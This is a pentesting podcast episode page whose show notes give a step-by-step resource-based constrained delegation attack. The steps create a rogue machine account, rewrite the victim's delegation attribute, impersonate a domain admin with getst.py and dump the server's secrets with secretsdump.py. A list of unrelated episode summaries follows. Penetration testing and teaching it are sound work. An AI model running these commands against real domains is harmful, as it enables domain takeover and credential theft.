7MS #521: Tales of Pentest Pwnage - Part 36
7 Minute Security20 Touko 2022

7MS #521: Tales of Pentest Pwnage - Part 36

Hey friends! Today's another swell tale of pentest pwnage, and it's probably my favorite one yet (again)! This tale involves resource based constrained delegation, which is just jolly good evil fun! Here are my quick notes for pwning things using RBCD:

# From non-domain joined machine, get a cmd.exe running in the context of a user with ownership rights over a victim system: runas /netonly /user:domain\some.user cmd.exe # Make new machine account: New-MachineAccount -MachineAccount EVIL7MS -Password $(ConvertTo-SecureString 'Muah-hah-hah!' -AsPlainText -Force) -Verbose # Get the SID: $ComputerSid = Get-DomainComputer -Identity EVIL7MS -Properties objectsid | Select -Expand objectsid # Create raw descriptor for fake computer principal: $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0) # Apply descriptor to victim machine: Get-DomainComputer SERVER-I-WANT-2-PWN | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose # Get a service ticket for the EVIL7MS box and impersonate a domain admin ("badmin") on the SERVER-I-WANT-2-PWN box: getst.py -spn cifs/SERVER-I-WANT-2-PWN -impersonate badmin -dc-ip 1.2.3.4 domain.com/EVIL7MS$:Muah-hah-hah! # Set the ticket export KRB5CCNAME=badmin.ccache # Dump victim server's secrets! secretsdump.py -debug k SERVER-I_WANT-2-PWN

Also, on the relaying front, I found this blog from TrustedSec as well as this article from LummelSec to be amazing resources.

Looking for an affordable resource to help you in your pentesting efforts? Check out our Light Pentest LITE: ebook Edition!

Jaksot(695)

7MS #648: First Impressions of Level.io

7MS #648: First Impressions of Level.io

Hey friends, today I’m sharing my first (and non-sponsored) impressions of Level.io, a cool tool for managing Windows, Mac and Linux endpoints. It fits a nice little niche in our pentest dropbox deployments, it has an attractive price point and their support is fantastic.

1 Marras 202440min

7MS #647: How to Succeed in Business Without Really Crying – Part 19

7MS #647: How to Succeed in Business Without Really Crying – Part 19

Today we’re talkin’ business – specifically how to make your report delivery meetings calm, cool and collect (both for you and the client!).

25 Loka 202422min

7MS #646: Baby’s First Incident Response with Velociraptor

7MS #646: Baby’s First Incident Response with Velociraptor

Hey friends, today I’m putting my blue hat on and dipping my toes in incident response by way of playing with Velociraptor, a very cool (and free!) tool to find evil in your environment.  Perhaps even better than the price tag, Velociraptor runs as a single binary you can deploy to spin up a server and then request endpoints to “phone home” to you by way of GPO scheduled task.  The things I talk about in this episode and show in the YouTube stream are all based off of this awesome presentation from Eric Capuano, who also was kind enough to publish a handout to accompany the presentation.  And on a personal note, I wanted to share that Velociraptor has got me interested in jumping face first into some tough APT labs provided by XINTRA.  More to come on XINTRA’s offering, but so far I’m very impressed!

18 Loka 202416min

7MS #645: How to Succeed in Business Without Really Crying - Part 18

7MS #645: How to Succeed in Business Without Really Crying - Part 18

Today I do a short travelogue about my trip to Washington, geek out about some cool training I did with Velociraptor, ponder drowning myself in blue team knowledge with XINTRA LABS, and share some thoughts about the conference talk I gave called 7 Ways to Panic a Pentester.

14 Loka 202431min

7MS #644: Tales of Pentest Pwnage – Part 64

7MS #644: Tales of Pentest Pwnage – Part 64

Hey!  I’m speaking in Wanatchee, Washington next week at the NCESD conference about 7 ways to panic a pentester!  Today’s tale of pentest pwnage is a great reminder to enumerate, enumerate, enumerate!  It also emphases that cracking NETLM/NETNTLMv1 isn’t super easy to remember the steps for (at least for me) but this crack.sh article makes it a bit easier!

4 Loka 202441min

7MS #643: DIY Pentest Dropbox Tips – Part 11

7MS #643: DIY Pentest Dropbox Tips – Part 11

Today we continue where we left off in episode 641, but this time talking about how to automatically deploy and install a Ubuntu-based dropbox!  I also share some love for exegol as an all-in-one Active Directory pentesting platform.

27 Syys 202426min

7MS #642: Interview with Ron Cole of Immersive Labs

7MS #642: Interview with Ron Cole of Immersive Labs

Ron Cole of Immersive Labs joins us to talk pentest war stories, essential skills he learned while serving on a SOC, and the various pentest training and range platforms you can use to sharpen your security skills! Here are the links Ron shared during our discussion: VetSec Fortinet Veterans Program Immersive Labs Cyber Million FedVTE

23 Syys 202442min

7MS #641: DIY Pentest Dropbox Tips – Part 10

7MS #641: DIY Pentest Dropbox Tips – Part 10

Today we’re revisiting the fun world of automating pentest dropboxes using Proxmox, Ansible, Cursor and Level.  Plus, a tease about how all this talk about automation is getting us excited for a long-term project: creating a free/community edition of Light Pentest LITE training!

13 Syys 202427min

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